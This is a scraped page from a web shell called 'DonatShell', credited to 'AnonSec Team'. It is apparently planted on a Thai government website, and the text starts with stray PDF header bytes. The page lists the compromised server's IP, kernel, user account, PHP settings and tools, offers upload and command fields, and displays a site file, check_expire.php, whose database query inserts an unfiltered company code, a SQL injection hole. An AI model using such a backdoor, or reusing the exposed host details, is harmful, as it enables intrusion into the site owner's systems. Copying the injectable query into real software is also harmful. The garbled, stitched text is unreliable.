%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 3.148.162.188
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/domains/bungkla.go.th/private_html/expire/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/domains/bungkla.go.th/private_html/expire/check_expire.php
<? 
include("expire/config_db.php");

$sql_expire = "SELECT `com_code`,`com_contact_start`,`com_contact_end`,`com_after_expire` FROM `tbl_company` WHERE `com_code`='$company_code'";
$dbquery_s = mysql_query($sql_expire) or die("Can't send query !");
$num_rows_s = mysql_num_rows($dbquery_s);
if($num_rows_s>0)
{
	$result_s = mysql_fetch_assoc($dbquery_s);
	$free_use = $result_s["com_after_expire"];
	$start = $result_s["com_contact_start"];
	$end = $result_s["com_contact_end"];
}
mysql_free_result($dbquery_s);
unset($dbquery_s);

if($num_rows_s>0)
{
	$today = date('Y-m-d');
	$eyy=substr("$end",0,4);$emm=substr("$end",5,2);$edd=substr("$end",8,2);$etime=substr("$end",11,8);
	$tyy=substr("$today",0,4);$tmm=substr("$today",5,2);$tdd=substr("$today",8,2);$ttime=substr("$today",11,8);	
	$end = mktime(0, 0, 0, $emm, $edd, $eyy);
	$today = mktime(0, 0, 0, $tmm, $tdd, $tyy);

	$start_free = mktime(0, 0, 0, $emm, $edd+$free_use, $eyy); 
	$end_free = mktime(0, 0, 0, $tmm, $tdd, $tyy);		
	$countdown_user = (( $start_free-$end_free ) / 86400);	

	if($countdown_user < 0)
	{		
			include("expire/close_db.php");
			echo "<meta http-equiv='refresh' content='0;URL=http://www.crm1.pasworld.co.th/expire.php?company_code=".$company_code."'>";
			exit();
	}
}

include("expire/close_db.php"); 

?>

Anon7 - 2022
AnonSec Team